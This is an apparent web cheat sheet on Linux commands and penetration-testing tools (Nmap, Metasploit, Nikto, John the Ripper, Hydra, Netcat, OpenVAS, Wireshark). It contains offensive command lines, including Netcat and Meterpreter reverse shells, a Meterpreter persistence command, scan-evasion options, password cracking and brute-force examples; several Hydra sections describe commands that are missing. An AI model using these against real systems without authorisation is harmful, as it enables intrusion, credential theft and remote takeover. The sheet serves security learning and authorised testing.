Linux: The Hacker's Toolkit

ls (List Directory Contents)

Lists files and directories in the current directory.

Example: ls -lah

Shows a detailed view with hidden files in human-readable format.

cd (Change Directory)

Used to change the working directory.

Example: cd /home/user/Documents

Moves you to the "Documents" directory.

pwd (Print Working Directory)

Displays the current directory you are working in.

Example: pwd

cp (Copy Files/Directories)

Copies files from one location to another.

Example: cp file.txt /home/user/Backup/

mv (Move or Rename Files/Directories)

Moves or renames files and directories.

Example: mv file.txt /home/user/Documents/

rm (Remove Files/Directories)

Removes files or directories.

Example: rm -rf /home/user/OldFiles

chmod (Change File Permissions)

Modifies file permissions for the owner, group, and others.

Example: chmod +x script.sh

chown (Change File Ownership)

Changes the ownership of a file or directory.

Example: chown user:group file.sh

ifconfig (Configure Network Interfaces)

Displays or configures network interface parameters.

Example: ifconfig eth0

ping (Check Network Connectivity)

Pings a target IP or hostname to test network connectivity.

Example: ping 8.8.8.8

netstat (Network Statistics)

Displays network connections, routing tables, and interface statistics.

Example: netstat -anp

traceroute (Network Path Trace)

Traces the route packets take to a network host.

Example: traceroute google.com

top (Real-Time System Monitoring)

Displays running processes, CPU, and memory usage.

Example: top

ps (Process Status)

Displays information about running processes.

Example: ps aux

kill (Terminate Processes)

Sends a signal to terminate a process.

Example: kill -9 PID

grep (Search Text)

Searches for patterns within files.

Example: grep "error" logfile.txt

awk (Pattern Scanning and Processing)

Used for pattern-based data extraction and reporting.

Example: awk '{print $1, $3}' logfile.txt

sed (Stream Editor)

Used to perform basic text transformations.

Example: sed 's/error/success/g' logfile.txt

Bash Scripting

Automates tasks by combining multiple Linux commands into scripts.

Example:

        #!/bin/bash
        for ip in $(cat ips.txt); do
          ping -c 1 $ip && echo "$ip is up" || echo "$ip is down"
        done
                        

Use alias for Shortcuts

Create shortcuts for common commands.

Example: alias ll='ls -lah'

Redirection & Piping

Redirect output to files or use pipes to pass the output of one command as input to another.

Example: grep "error" logfile.txt | tee errors.txt

Run Commands as Root

Use sudo to execute commands as the root user.

Example: sudo apt-get update

Use screen or tmux

These tools allow you to run long tasks in the background or maintain sessions even after disconnecting.

Example: screen -S mysession

Basic Scanning

Nmap is used to scan a target for open ports and services.

Example: nmap 192.168.1.1

Scan multiple hosts: nmap 192.168.1.1 192.168.1.2

Scan a range of IPs: nmap 192.168.1.1-254

Scan an entire subnet: nmap 192.168.1.0/24

Port Scanning

Identifying open ports on a target.

Scan specific ports: nmap -p 22,80 192.168.1.1

Scan a range of ports: nmap -p 1-100 192.168.1.1

Scan all ports: nmap -p- 192.168.1.1

UDP scan: nmap -sU 192.168.1.1

Service and Version Detection

Identifies services running on open ports and their versions.

Service version detection: nmap -sV 192.168.1.1

Aggressive service detection: nmap -A 192.168.1.1

Operating system detection: nmap -O 192.168.1.1

Script Scanning (Nmap Scripting Engine - NSE)

Extend Nmap capabilities with scripts to detect vulnerabilities.

Run default scripts: nmap -sC 192.168.1.1

Run a specific script: nmap --script=http-vuln-cve2017-5638 -p80 192.168.1.1

Run multiple scripts: nmap --script=smb-vuln-*,http-vuln-* 192.168.1.1

Scan Timing and Performance

Adjust scan speed and stealth.

Fast scan: nmap -T4 192.168.1.1

Stealth scan (SYN): nmap -sS 192.168.1.1

Slow and stealthy scan: nmap -T0 -sS 192.168.1.1

Scan Output

Save scan results for later analysis or reporting.

Save to text file: nmap 192.168.1.1 -oN output.txt

Save in XML format: nmap 192.168.1.1 -oX output.xml

Save in all formats: nmap 192.168.1.1 -oA output

Firewall Evasion and Spoofing

Evade detection and spoof identity during scans.

Scan from a decoy IP: nmap -D 192.168.1.10,192.168.1.11 192.168.1.1

Spoof MAC address: nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1

Fragment packets: nmap -f 192.168.1.1

Pro-Level Tips

Maximize your Nmap skills with advanced options.

Use --reason: nmap --reason 192.168.1.1

Find devices behind a firewall: nmap -Pn 192.168.1.1

Basic Metasploit Terminology

Before diving into Metasploit commands, it’s crucial to understand its basic components:

• Exploit: Code that takes advantage of a vulnerability.
• Payload: The code delivered to the system after exploiting it (e.g., reverse shell).
• Auxiliary: Modules for scanning, fuzzing, and information gathering.
• Listeners: Metasploit can listen for incoming connections from payloads.
• Meterpreter: A specialized payload that allows for powerful post-exploitation activities.

Starting Metasploit

Start the Metasploit Console (msfconsole):

Example: msfconsole

Searching for Exploits

Search for exploits relevant to the target system or software:

Example: search vsftpd

Search for a specific CVE:

Example: search cve:2017-0143

Selecting and Using an Exploit

Load an exploit into the framework:

Example: use exploit/unix/ftp/vsftpd_234_backdoor

Show available settings for the selected exploit:

Example: show options

Setting Parameters

Configure options like target IP and payload:

Set target IP: set RHOST 192.168.1.10

Set target port: set RPORT 21

Set payload: set payload linux/x86/meterpreter/reverse_tcp

Running the Exploit

Launch the exploit with the current configuration:

Example: run or exploit

Payloads and Meterpreter

Examples of payloads:

Reverse TCP: set payload windows/meterpreter/reverse_tcp

Bind shell: set payload windows/shell/bind_tcp

HTTPS payload: set payload windows/meterpreter/reverse_https

Post-Exploitation with Meterpreter

Basic commands after gaining a session:

• sysinfo: Display system info.
• getuid: Get user ID of session.
• shell: Drop to a shell on the target system.
• download /path/to/file: Download a file from the target.
• upload /path/to/file: Upload a file to the target.

Exploit Multi-Handler

Use multi-handler to manage incoming payload connections:

Example: use exploit/multi/handler

Auxiliary Modules

Run auxiliary modules for scanning or gathering info:

Example: use auxiliary/scanner/smb/smb_version

Database Integration

Store scan results and manage hosts:

Connect to DB: db_connect

Nmap scan and store results: db_nmap 192.168.1.0/24

View hosts: hosts

View services: services

Pro-Level Tips

Make Meterpreter sessions persistent:

Example: run persistence -U -i 5 -p 4444 -r 192.168.1.5

Automate post-exploitation:

Example: run post/windows/gather/enum_logged_on_users

Basic Nikto Terminology

Nikto scans for well-known vulnerabilities like outdated software versions, default files, or misconfigurations. It uses plugins to extend its scanning capabilities and supports various output formats (text, HTML, XML).

Installing Nikto

Nikto is pre-installed in pentesting distributions like Kali Linux. Install manually using:

Example: sudo apt install nikto

Basic Scan

Scan a web server for vulnerabilities:

Example: nikto -h http://example.com

Scan with SSL: nikto -h https://example.com

Targeting Specific IPs or Ports

Specify the IP address or port for scanning:

Scan an IP: nikto -h 192.168.1.10

Scan a port: nikto -h 192.168.1.10 -p 8080

Tuning Scans

Narrow down the scan focus using tuning options:

Example: nikto -h example.com -T 123 (Limits scan to file extensions, misconfigurations, and disclosure checks)

Using Proxies

Run Nikto through a proxy:

Example: nikto -h http://example.com -useproxy http://proxy-ip:8080

Specifying Plugins

Use specific plugins for scanning:

Example: nikto -h example.com -Plugins "Apache"

Customizing User Agent

Change the User-Agent in HTTP requests:

Example: nikto -h example.com -useragent "Mozilla/5.0"

Scan Rate Limiting

Throttle the scan rate to avoid overwhelming the server:

Example: nikto -h example.com -delay 2 (Adds a 2-second delay between requests)

Output and Reporting

Nikto supports multiple output formats:

Text: nikto -h example.com -output results.txt

HTML: nikto -h example.com -Format html -output report.html

CSV: nikto -h example.com -Format csv -output report.csv

Verbose Mode

Enable verbose output to see detailed HTTP requests and responses:

Example: nikto -h example.com -v

SSL/TLS Scanning

Scan SSL/TLS misconfigurations and vulnerabilities:

Example: nikto -h https://example.com -ssl

Pro-Level Tips

Schedule scans with cron jobs or use proxy chains for anonymity:

Example: proxychains nikto -h http://example.com

John the Ripper Overview

John the Ripper (often called just "John") is a fast, open-source password-cracking tool. It is widely used for testing weak passwords, recovering lost credentials, or testing password strength in cybersecurity assessments.

Example: John supports various hash types including UNIX, Windows, and web applications.

Installing John the Ripper

John is pre-installed in pentesting distributions like Kali Linux, but you can also manually install it.

Example: sudo apt install john for the standard version. Clone from GitHub for the Jumbo version: git clone https://github.com/openwall/john.git

Cracking Basic Passwords

Use John to crack password hashes from files.

Example: john --format=raw-md5 hash.txt to crack an MD5 hash.

Supported Hash Formats

John supports many hash formats like MD5, SHA-256, and bcrypt. Use the --format flag to specify the hash type.

Example: john --list=formats to list all supported hash formats.

Using Wordlists

John can perform dictionary attacks using wordlists. Specify the path to a wordlist with the --wordlist option.

Example: john --wordlist=/path/to/wordlist.txt hash.txt

Incremental Mode (Brute Force)

In incremental mode, John tries all possible combinations of characters to crack the password.

Example: john --incremental hash.txt

Restoring and Resuming Sessions

Save and resume cracking sessions.

Example: john --session=my_crack hash.txt to save, and john --restore=my_crack to resume.

Cracking ZIP, PDF, or Other File Passwords

Use John to crack passwords of files like ZIP archives and PDFs.

Example: Extract ZIP hash: zip2john file.zip > hash.txt then crack: john hash.txt

Cracking NTLM (Windows) Hashes

John is also effective in cracking Windows NTLM hashes.

Example: john --format=NT hash.txt to crack NTLM hashes.

Combining Wordlist and Rules

Apply rules to modify passwords in the wordlist (e.g., adding numbers or symbols).

Example: john --wordlist=wordlist.txt --rules hash.txt

Showing Cracked Passwords

Display cracked passwords using the --show option.

Example: john --show hash.txt

Cracking with GPUs

John can use GPU acceleration to speed up password cracking.

Example: john --format=raw-md5-opencl hash.txt

Saving Output to a File

Save cracked passwords to an output file.

Example: john --wordlist=wordlist.txt hash.txt --pot=output.txt

Pro-Level Tips

• Combine rules and brute-force mode for better results.
• Use parallel cracking by splitting hash files and running John on multiple machines.
• Utilize custom wordlists generated by tools like cewl.

Example: Use cron jobs for session automation: 0 3 * * * john --restore=my_crack

Basic Terminology

Before diving into commands, let's cover some basic terms associated with Hydra:

• Brute Force Attack: Systematically guessing login credentials by trying every possible combination.
• Dictionary Attack: Using a pre-built list of common passwords (wordlist) to try and guess the correct password.
• Protocols: The type of service or login mechanism you're attacking (e.g., SSH, FTP).

Installing Hydra

Hydra is pre-installed in most penetration testing distributions like Kali Linux, but if you need to install it manually, follow these steps:

Installation on Debian-based systems:

sudo apt install hydra

Cloning from Source (if you want the latest version):

git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install

General Syntax

Hydra's syntax follows a simple pattern:

Options: Flags to define the mode of attack, such as username, password, or wordlists.

Target: The target IP address or hostname.

Protocol: The service you want to attack, such as ssh, ftp, http, etc.

Example Command for FTP Brute Force

Suppose you want to brute force the FTP service running on 192.168.1.10.

• -l admin: Specifies the username as admin.
• -P /usr/share/wordlists/rockyou.txt: Defines the wordlist (rockyou.txt) for the password guessing.
• ftp://192.168.1.10: Specifies the target IP and protocol (FTP).

SSH Brute Force

For SSH services, brute forcing requires more patience as SSH typically blocks repeated attempts quickly.

This command uses the root username and the rockyou.txt wordlist to attempt brute-forcing the SSH service on 192.168.1.20.

Tuning for SSH:

Web Login Brute Force (HTTP/HTTPS)

Hydra can also be used to crack login forms on websites using HTTP or HTTPS protocols.

• -l admin: The username to try.
• -P /usr/share/wordlists/rockyou.txt: Wordlist of passwords.
• http-post-form: Specifies a POST request for the login form.
• /login.php:user=^USER^&pass=^PASS^:F=incorrect: This defines the form fields (user and pass) and what the failure message looks like.

Brute Force Over RDP (Remote Desktop Protocol)

Parallel Attacks with Threads

Hydra supports multithreading to speed up attacks. The -t flag allows you to specify the number of threads to use.

Using Hydra with Multiple Usernames and Passwords

• -L /path/to/usernames.txt: Specifies the file with a list of usernames.
• -P /path/to/passwords.txt: Specifies the file with a list of passwords.

Common Protocols Supported by Hydra

Hydra Output and Results

Hydra’s output displays login attempts and reveals any successful credentials. After running Hydra, you’ll see something like:

Stopping and Resuming a Session

If you need to stop Hydra during a long-running attack and resume it later, Hydra allows you to do so by saving and restoring sessions.

Saving a Session:

Restoring a Session:

Simply re-run the same command, and Hydra will pick up from where it left off.

Best Practices and Ethical Considerations

• Always obtain permission before testing a system.
• Use Hydra responsibly and ethically to avoid legal consequences.
• Employ strong passwords and additional security measures to protect systems.
• Review logs and monitor systems for unauthorized access attempts.

Netcat (nc)

Netcat, often referred to as the "Swiss army knife" of networking, is a versatile tool used for various network-related tasks. It allows reading from and writing to network connections using TCP or UDP. Netcat is a go-to tool for creating reverse shells, simple port scanning, banner grabbing, file transfers, and even chatting between systems.

Basic Terminology

• TCP/UDP: Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) are communication protocols for sending data over a network.
• Listener: A mode where Netcat waits for a connection on a specified port.
• Reverse Shell: A type of shell where the target system connects back to the attacker's machine, giving the attacker control.
• Port Scanning: Checking which ports are open on a system, helping to identify running services.

Installing Netcat

Netcat is usually pre-installed in many Linux distributions, including Kali Linux. However, if you need to install it manually:

On Debian/Ubuntu-based systems:

sudo apt install netcat

On RedHat/CentOS-based systems:

sudo yum install nc

General Syntax

nc [options] [target] [port]

• Options: Flags to define the mode of operation (e.g., listening or connecting).
• Target: The target IP address or hostname.
• Port: The port to connect to or listen on.

Common Use Cases of Netcat

A. Connecting to a Server (Client Mode)

Netcat can act as a client to connect to a server running on a particular port.

nc target_ip port

Example:

nc 192.168.1.10 80

This opens a connection to 192.168.1.10 on port 80 (HTTP port). You can then interact with the service running on that port (such as sending HTTP requests).

B. Setting Up a Listener (Server Mode)

You can use Netcat to create a listener, where Netcat waits for a connection on a specific port.

nc -lvp port

Example:

nc -lvp 1234

This listens on port 1234 for incoming connections. The -l flag enables listening, -v turns on verbose mode (detailed output), and -p specifies the port.

Port Scanning with Netcat

While Netcat isn’t a dedicated port scanner like Nmap, it can be used for simple port scans to identify open ports on a target.

nc -zv target_ip start_port-end_port

Example:

nc -zv 192.168.1.10 20-80

-z: Zero I/O mode (just check for open ports, don’t send data).
-v: Verbose mode.
192.168.1.10: Target IP.
20-80: Range of ports to scan.

This command scans ports 20 through 80 on 192.168.1.10, and the results will show which ports are open.

Banner Grabbing

Netcat can be used to grab banners from services running on a particular port, helping to identify the software or version running.

nc target_ip port

Example:

nc 192.168.1.10 80

Once connected, press Enter a few times, and the server will return the banner (e.g., a web server's version information).

Creating a Reverse Shell

A reverse shell is one of the most powerful features of Netcat. It allows the target system to connect back to your machine, giving you control over it.

On the attacker’s machine (listening):

nc -lvp 4444

On the target’s machine (executing the reverse shell):

nc target_ip 4444 -e /bin/bash

-e /bin/bash: Executes /bin/bash (or /bin/sh for simpler shells) on the target machine, allowing command execution.

File Transfer with Netcat

A. Sending a file

On the sending machine:

nc target_ip port < filename

Example:

nc 192.168.1.10 1234 < file.txt

B. Receiving a file

On the receiving machine:

nc -lvp 1234 > filename

Example:

nc -lvp 1234 > received_file.txt

Chatting Between Systems

You can use Netcat to create a simple chat session between two systems.

On machine A (listener):

nc -lvp 1234

On machine B (client):

nc target_ip 1234

Once connected, both systems can type messages that will be displayed on the other machine.

Using Netcat for HTTP Requests

Netcat can be used to manually send HTTP requests to a web server.

nc target_ip 80

Once connected, type the HTTP request:

GET / HTTP/1.1
        Host: target_ip

Press Enter twice, and the server will respond with the web page or an error message.

Redirecting a Shell Over Netcat

Netcat allows you to redirect input and output to provide remote access to a shell.

/bin/bash | nc target_ip 1234

This redirects the output of /bin/bash to the Netcat session on port 1234.

Executing Commands Remotely

Netcat can execute commands remotely by creating a pipe between a command and the network connection.

nc target_ip 1234 -e /bin/sh

This command executes a shell on the target IP connected through port 1234.

Security Considerations

While Netcat is a powerful tool, it can also pose security risks if used maliciously. Ensure you have permission to scan, connect, or interact with the target systems to avoid legal issues.

1. Basic Terminology

• Vulnerability Scan: An automated process of identifying vulnerabilities in computer systems, networks, or applications.
• CVEs (Common Vulnerabilities and Exposures): Publicly disclosed vulnerabilities in software.
• NVTs (Network Vulnerability Tests): Tests that OpenVAS uses to detect vulnerabilities in a target system.
• False Positive: A reported vulnerability that doesn’t actually exist.

2. Installing OpenVAS

A. On Kali Linux

OpenVAS is pre-installed on Kali Linux. If it’s not, you can install it as follows:

sudo apt update
        sudo apt install openvas

Once installed, initialize OpenVAS by running the following command:

sudo gvm-setup

This command will set up the database, scan configurations, and update the vulnerability feed.

B. Running the OpenVAS Service

Once installed, start the OpenVAS services:

sudo gvm-start

Open your web browser and navigate to the OpenVAS interface, typically available at:

https://localhost:9392

Use the admin credentials generated during setup to log in.

3. Basic Usage of OpenVAS

A. Logging into the Web Interface

Open a web browser and navigate to https://localhost:9392. Log in using your credentials (default username: admin).

B. Setting Up a Target for a Scan

Go to Configuration > Targets and create a new target:

1. Enter the target’s IP address or hostname.
2. Specify the port list to scan (default is All TCP and All UDP).
3. Save the target.

C. Launching a Vulnerability Scan

Go to Scans > Tasks:

1. Create a new scan task by specifying:
   • Name: Name your task.
   • Scanner: Choose the scanner (usually OpenVAS Default).
   • Target: Select the target you configured earlier.
2. Start the scan by selecting your task and clicking the Start button.

4. Analyzing Scan Results

Once the scan is complete, you can view the results under Scans > Reports. OpenVAS will generate a detailed report that includes:

• Vulnerabilities Detected: A list of vulnerabilities found in the target system.
• Severity Levels: Each vulnerability is assigned a severity level:
  • Low: Minor issues that may not present an immediate risk.
  • Medium: Potential vulnerabilities that could be exploited.
  • High: Serious vulnerabilities that should be addressed urgently.
• CVE Identifiers: Vulnerabilities linked to CVEs.
• Suggested Fixes: Recommendations on how to fix or mitigate the vulnerabilities.

5. Updating the OpenVAS Feed

The OpenVAS feed includes the latest NVTs (Network Vulnerability Tests), which are essential for scanning. You should regularly update the feed to ensure that you are scanning for the most recent vulnerabilities:

sudo gvm-feed-update

This command updates the vulnerability database, adding new CVEs and NVTs.

6. Advanced Features of OpenVAS

A. Scheduled Scans

You can schedule regular scans to automatically run at specific intervals (e.g., daily, weekly) to ensure continuous monitoring:

1. Go to Configuration > Schedules.
2. Create a new schedule by specifying the frequency and time for the scan.
3. Link the schedule to a task under Scans > Tasks by editing the task and selecting the schedule.

B. Credentialed Scans

Credentialed scans provide deeper access to the target system, allowing OpenVAS to check for vulnerabilities that require authentication (e.g., missing patches, weak passwords):

1. Go to Configuration > Credentials and add the login credentials for the target system.
2. When creating or editing a task, under Credentials, select the credentials you added.

C. Scan Configurations

OpenVAS allows you to configure different types of scans based on your needs:

1. Go to Configuration > Scan Configs.
2. Select from pre-configured scan types, such as:
   • Full and Fast: The default scan, which covers most vulnerabilities.
   • Full and Very Deep: A more comprehensive scan, but slower.
   • Host Discovery: A quick scan to identify live hosts.

7. Reporting and Exporting Results

A. Viewing Reports

Once a scan is complete, go to Scans > Reports to view detailed reports. Each report provides:

• Vulnerabilities detected
• Risk severity ratings
• Suggested remediation actions

B. Exporting Reports

You can export reports in various formats (PDF, HTML, XML) for further analysis or to share with stakeholders:

1. Open the report under Scans > Reports.
2. Click the Export button and select the desired format.

8. Integration with Other Tools

A. Metasploit Integration

OpenVAS can be integrated with Metasploit to directly exploit vulnerabilities found in the scan results:

1. Run a scan and export the report in XML format.
2. Import the report into Metasploit using the following command in Metasploit:

   db_import /path/to/openvas_report.xml

3. Metasploit will analyze the report and match vulnerabilities to available exploits.

9. OpenVAS Pro-Level Shortcuts and Tips

• Custom Scan Configurations: If you need more control over what OpenVAS scans for, create custom scan configurations under Configuration > Scan Configs. You can enable or disable specific NVTs based on your environment.
• Use Tags: Tag your targets and scans for easier management. For example, you can tag all scans related to a particular project, allowing for quick filtering.
• Leverage User Management: OpenVAS allows you to manage multiple users with different roles. Create user accounts for team members to collaborate on scans and share reports securely.

Basic Terminology

• Packet Capture (PCAP): A record of network traffic data that has been captured.
• Interface: The network interface (e.g., Ethernet, WiFi) on which traffic is captured.
• Filter: Wireshark allows the use of capture filters (to decide what to capture) and display filters (to decide what to show in the interface).
• Protocol: The set of rules governing data communication (e.g., TCP, UDP, HTTP, ICMP).

Installing Wireshark

A. On Linux (e.g., Kali Linux)

Wireshark can be installed using the package manager:

Command: sudo apt update
sudo apt install wireshark

B. On Windows and macOS

Download Wireshark from the official website and follow the installation instructions.

Capturing Traffic

A. Selecting the Interface

Open Wireshark. Select the network interface from which you want to capture traffic. Common options include eth0 (Ethernet), wlan0 (WiFi), or lo (Loopback). Click on the Start Capturing button (the shark fin icon) to begin capturing traffic on that interface.

B. Stopping a Capture

To stop the capture, click on the red Stop button (the square icon).

Filters in Wireshark

A. Capture Filters

Common capture filters include:

host 192.168.1.1 (Capture only traffic from a specific IP)
port 80 (Capture traffic to/from a specific port)
tcp (Capture only TCP traffic)
tcp port 80 (Capture only HTTP traffic)

To set a capture filter, click on the Capture Options (gear icon) and enter the filter in the Capture Filter field before starting the capture.

B. Display Filters

Common display filters include:

http (Show only HTTP traffic)
ip.addr == 192.168.1.1 (Show traffic to/from a specific IP)
tcp.port == 443 (Show TCP traffic to/from a specific port)
dns (Show only DNS queries)
eth.addr == 00:0a:95:9d:68:16 (Show packets with a specific MAC address)

You can enter display filters in the filter bar above the packet list after starting the capture.

Analyzing Traffic

A. Inspecting Specific Protocols

Click on a packet from the Packet List. The Packet Details pane will show the protocols involved (e.g., Ethernet, IP, TCP, HTTP). Expand each protocol to inspect its fields (e.g., source/destination IP, TCP flags, HTTP methods).

B. Following a TCP/UDP Stream

Right-click on a packet and select Follow > TCP Stream (or UDP stream, based on the protocol). Wireshark will reconstruct the full conversation, making it easier to analyze requests, responses, and the flow of communication.

Protocol Analysis

Wireshark supports an extensive list of network protocols, including:

• TCP/UDP: Inspect connection setups, flags, and session data.
• HTTP/HTTPS: Analyze web traffic, inspect headers, and detect potential issues.
• DNS: Track name resolution requests and responses.
• ICMP: Inspect ping requests and responses.
• DHCP: Analyze IP address lease requests.

Wireshark Pro Tips and Shortcuts

A. Performance Tips

Use Capture Filters: Capture filters reduce the size of your capture and improve performance by only saving relevant traffic.

Limit Packet Capture Size: Set a packet capture size limit in Capture Options to avoid large files that slow down analysis.

Ring Buffers: Use ring buffers to automatically rotate capture files, preventing a single large file from being created.

B. Color Coding

Wireshark uses color codes to help you quickly identify different types of traffic:

TCP traffic is typically light purple.
HTTP traffic is typically green.
DNS traffic is typically light blue.

You can customize the color coding by navigating to View > Coloring Rules.

C. Time Saving Keyboard Shortcuts

Start/Stop Capture: Ctrl + E

Open Capture File: Ctrl + O

Save Capture File: Ctrl + S

Filter Apply: Enter (after typing in the filter field)

Go to Next Packet: Ctrl + N

Follow Stream: Ctrl + Shift + T

Exporting Data

A. Exporting Packets

You can export captured packets for later analysis or sharing with others:

Go to File > Export Specified Packets. Choose the format (e.g., pcap, pcapng). Select the range of packets you want to export (all or specific ones).

B. Exporting Packet Dissections

You can export packet information in plain text or XML:

Go to File > Export Packet Dissections. Choose the format (e.g., plain text, CSV, XML).

Using Wireshark for Security and Troubleshooting

A. Identifying Security Threats

Wireshark can help in identifying potential security threats such as:

• DDoS attacks: Look for an unusually high number of requests to a single destination.
• Port Scans: Identify scanning activity by monitoring unusual traffic patterns across multiple ports.
• Malware Communication: Inspect for outbound connections to known malicious IP addresses.

B. Troubleshooting Network Issues

Common uses for troubleshooting include:

• Slow Network Performance: Identify congested links and dropped packets.
• Connection Issues: Analyze TCP handshakes and connection resets to pinpoint problems.
• Application Errors: Inspect HTTP requests and responses to diagnose web application issues.